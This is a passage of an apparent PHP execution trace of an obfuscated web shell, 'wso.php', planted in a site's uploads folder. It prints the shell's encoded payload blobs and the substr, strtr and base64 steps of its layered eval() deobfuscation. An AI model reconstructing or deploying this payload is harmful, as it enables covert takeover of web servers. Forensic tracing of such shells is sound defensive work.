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"; \n eval(\'?>\'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), \n $OO0O00($O0O000,0,$OO0000))));' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code 4 0
6 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 1 $O0O000 = 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZbnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqBzY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0K'
7 31 0 0.016803 1203872 substr 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 2 2 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZbnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqBzY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0K' 104
7 31 1 0.016901 1302240
7 31 R 'zY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0KvQndvO0dBRWFBCM7QkndvQndvQndxtIevY0dB2o0BR52KQxCJw1zoboVGwJbwkvcHeSdvQndVGSdvQndNao0ApxrvQJcNYfKVGSqgQn9'
7 32 0 0.016992 1302176 substr 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 2 3 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZbnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqBzY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0K' '52' '52'
7 32 1 0.017077 1302352
7 32 R 'bnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqB'
7 33 0 0.017097 1302256 substr 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 3 3 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZbnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqBzY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0K' 0 '52'
7 33 1 0.017181 1302432
7 33 R 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZ'
7 34 0 0.017200 1302336 strtr 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 3 3 'zY9eXOnKBmorh3JcE24dJ2o0ConSKpfKvQndvtIaKtAIAtorAkdkCiJwwi9YybIiyIJVConkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9YybIiyIJVConkKyfKvQndvO0dBRWFBRIaKtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKCqdgeSdvQndvQndvQJcNQn9vtAIAtorAkdkCiJwwi9hp0BzwIAMwqJiJi9ty1vkKyfKvQndvQndvQMcBknSN3JlN3JlKQJcNQedxlemKCqdgeSdvQndvQndvQndvQnqAt1evY0dBpLeEt9qBCnSxlemTQnqXpncHeSdvQndvQndvQndvQnqXpndzCM0NaIjKQJ0EpMEsi0cHeSdvQndvQndvO0KvQndvO0dBRWFBCM7QkndvQndvQndxtIevY0dB2o0BR52KQxCJw1zoboVGwJbwkvcHeSdvQndVGSdvQndNao0ApxrvQJcNYfKVGSqgQn9' 'bnGpERJAKrleycUZkvjxaQmMDgfYIXFVotTWhuiSLzdOPHNwCsqB' 'EAQXbWRdKuywTpjqiItJmCnBresDlazfVGLxYNFohPgHvOcUSMkZ'
7 34 1 0.017334 1400736
7 34 R 'PD9waHAKZnVuY3Rpb24gR2V0SVAoKXsKICAgIGlmKGdldGVudigiSFRUUF9DTElFTlRfSVAiKSkgewogICAgICAgICRpcCA9IGdldGVudigiSFRUUF9DTElFTlRfSVAiKTsKICAgIH0gZWxzZWlmKGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKSkgewogICAgICAgICRpcCA9IGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKTsKICAgICAgICBpZiAoc3Ryc3RyKCRpcCwgJywnKSkgewogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSAoJywnLCAkaXApOwogICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOwogICAgfQogICAgcmV0dXJuICRpcDsKfQokeCA9'
7 35 0 0.017423 1302176 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 3 1 'PD9waHAKZnVuY3Rpb24gR2V0SVAoKXsKICAgIGlmKGdldGVudigiSFRUUF9DTElFTlRfSVAiKSkgewogICAgICAgICRpcCA9IGdldGVudigiSFRUUF9DTElFTlRfSVAiKTsKICAgIH0gZWxzZWlmKGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKSkgewogICAgICAgICRpcCA9IGdldGVudigiSFRUUF9YX0ZPUldBUkRFRF9GT1IiKTsKICAgICAgICBpZiAoc3Ryc3RyKCRpcCwgJywnKSkgewogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSAoJywnLCAkaXApOwogICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOwogICAgfQogICAgcmV0dXJuICRpcDsKfQokeCA9'
7 35 1 0.017732 1400512
